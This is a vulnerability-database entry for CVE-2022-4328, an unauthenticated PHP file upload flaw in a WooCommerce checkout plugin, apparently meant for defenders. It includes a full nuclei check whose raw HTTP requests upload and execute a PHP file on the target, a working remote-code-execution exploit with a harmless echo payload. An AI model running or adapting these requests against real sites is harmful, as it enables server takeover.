HexBrain

Browse / CVEs / CVE-2022-4328

CVE-2022-4328· najeebmedia / woocommerce checkout field manager· CWE-434

WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload

criticalseverity
9.8CVSS score
4.4%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

The WooCommerce Checkout Field Manager WordPress plugin before 18.0 does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server.

Impact

Unauthenticated attackers can upload arbitrary PHP files through the cfom_upload_file AJAX action without validation, achieving remote code execution on the WordPress server and potentially compromising the entire WooCommerce installation.

Fix

Fixed in version 18.0

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name={{randstr}}.pHp ; GET /wp-content/uploads/cfom_files/{{to_lower('{{randstr}}')}}.php
Positive when: contains in body_2 "{{md5(string)}}"

Run it with nuclei: nuclei -id CVE-2022-4328 -u <target>

The full check
id: CVE-2022-4328

info:
  name: WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    The WooCommerce Checkout Field Manager WordPress plugin before 18.0 does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files through the cfom_upload_file AJAX action without validation, achieving remote code execution on the WordPress server and potentially compromising the entire WooCommerce installation.
  remediation: |
    Fixed in version 18.0
  reference:
    - https://wpscan.com/vulnerability/4dc72cd2-81d7-4a66-86bd-c9cfaf690eed
    - https://wordpress.org/plugins/n-media-woocommerce-checkout-fields/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4328
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4328
    cwe-id: CWE-434
    epss-score: 0.04427
    epss-percentile: 0.91449
    cpe: cpe:2.3:a:najeebmedia:woocommerce_checkout_field_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: najeebmedia
    product: woocommerce_checkout_field_manager
    framework: wordpress
  tags: cve2022,cve,wp,n-media-woocommerce-checkout-fields,wpscan,rce,wordpress,wp-plugin,intrusive,najeebmedia,fileupload,vkev,vuln

variables:
  string: "CVE-2022-4328"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name={{randstr}}.pHp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------22728be7b3104597

        --------------------------22728be7b3104597
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: application/octet-stream

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        --------------------------22728be7b3104597--
      - |
        GET /wp-content/uploads/cfom_files/{{to_lower('{{randstr}}')}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

References

Use this check only on systems you are authorised to test. Where the data comes from